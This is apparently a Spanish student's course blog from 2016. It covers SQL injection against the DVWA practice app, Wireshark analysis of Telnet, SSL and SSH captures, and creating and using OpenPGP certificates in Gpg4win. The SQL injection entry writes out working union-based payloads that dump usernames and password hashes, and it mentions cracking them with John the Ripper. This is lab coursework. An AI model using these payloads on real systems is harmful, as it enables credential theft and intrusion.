jueves, 13 de octubre de 2016

U2. T2. SQL Injection

Después de pasar por un pequeño contratiempo en donde para solucionar el problema del DCHP tuve que cambiar en la maquina virtual dvwa en la parte de Red el Adaptador anfitrión único por Adaptador puente y seleccionar mi tarjeta de red. Etonces ahí se asigno mi dirección.
Posteriormente en el navegador de nuestra pc ingresamos a la dirección proporcionada. http://192.168.1.9/login.php asignada dinamicamente por medio de DHCP y seguimos los pasos de Damn Vulnerable Web App (DVWA) 1. Seleccionamos la seguridad en low
2. Ponemos 1 en User ID
• 3. Digitamos lo siguiente %' or '0'='0
Para que nos muestre todos los registro falso y verdaderos % falso, 0 =0 verdadero
4. Mostrar la versión de la base de Datos MySql.
• 5. Mostrar el usuario de la base de datos
%' or 0=0 union select null, user() # This is the name of the database user that executed the behind the scenes PHP code.
6 Mostrar el nombre de la base de datos
% ‘ or 0=0 union select null, database() #
7 Mostrar todas las tablas en information_schema
• %' and 1=0 union select null, table_name from information_schema.tables #
8 Seleccionar todos los usuarios de la base de datos en information_schema
• %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
El Segundo Surname: user contiene las contraseñas.
9. Mostrar toda el esquema de las columna en donde también nos encontraremos con la contraseña
• %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
10 Mostrar toda la información del esquema de las tablas
• %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Aquí tenemos satisfactoriamente mostrada toda la información de autentificación de esta base de datos.
10 Descifrado de contraseñas.
Colocamos así mismo las siguientes contraseñas y guardamos, abrimos Jonh the Ripper

miércoles, 12 de octubre de 2016

U2. T1. Tercera parte: analizando SSH.

Abrimos el archivo SSH
• ¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?
A partir del paquete Número 13
• ¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?
El Protocolo encriado es el SSHv2
• ¿Es posible ver alguna información de usuario como contraseñas de acceso? No es posible ya que van cifrados todos los paquetes

U2. T1. Segunda parte: analizando SSL.

• ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado? En el segundo paquete del archivo x509-with-logo.cap
• ¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado? El certificado esta cifrado
En la parte que menciona Frame 2 buscando encontramos que emite el certificado Verisign
• ¿Qué asegura el certificado, la identidad del servidor o del cliente? -Asegura la identidad del Servidor

UNIDAD 2 TAREA 1 Analizando un protocolo inseguro (Telnet)

PRIMERA PARTE Como primera instancia abriendo el archivo telnet-raw.pcap y buscando en el filtro nos encontramos con lo siguiente:
• ¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet? Usuario : fake
Contraseña: user
•¿Qué sistema operativo corre en la máquina? Sistema Oprativo OpenBSD/i386
•¿Qué comandos se ejecutan en esta sesión? Comandos usados: ls
Comando: ls – a
Comando: /sbin/ping www.yahoo.com
De aquí viene el sitio de yahoo y el resultado es el siguiente :

miércoles, 5 de octubre de 2016

U1 Tarea 3

Para crear nuestro primer certificado damos clic en new y luego vamos a escoger el primer tipo OpenPGP:
Posteriormente llenamos con nuestros datos :
En advanced settings se recomienda mínimo una longitud de 2048 bits con una caducidad de 2 años:
Pulsaos Ok luego Next y nos pedirán una contraseña para nuestro certificado:
En unos segundo esta completo nuesta creación de certificado:
Hacemos una copia de seguridad del certificado:
Ahora se nos mostrará en la pestaña “My Certificates” el nuevo certificado recién creado:
IMPORTACIÓN DE CERTIFICADO DESDE EL SERVIDOR keys.gnupg.net
Damos clic en el botón new para configurar el servidor de open gp En este caso se configura el servidor keys.gnupg.net (el servidor del proyecto GnuPG, el software de base de Gpg4win) para trabajar con certificados OpenPGP (pero no X.509). Como se aprecia en la figura, utilizará el protocolo “hkp” y el puerto TCP 11371, por lo que será necesario que nuestro equipo pueda conectarse a dicho servidor y puerto para que el resto de los siguientes pasos funcionen.
Una vez hecho lo anterior pulsamos ok y ya quedará configurado el servidor y volvemos a la pantalla principal. IMPORTACIÓN DE FICHEROS Damos clic en Import Certificates y seleccionamos el archivo pasado por USB o correo electrónico con extensión .asc o .gpg:
CIFRADO Y FIRMADO DE FICHEROS:
Siguiente y seleccionamos nuestro certificado para firmar:
Introducimos la clave secreta de nuestro certificado y quedara cifrado:
DESCIFRAR EL ARCHIVO. Vamos a descifrar el archivo que nos envió la otra persona firmado para nosotros:
Damos clic derecho y escogemos Descifrar y verificar, introducimos nuestra contraseña: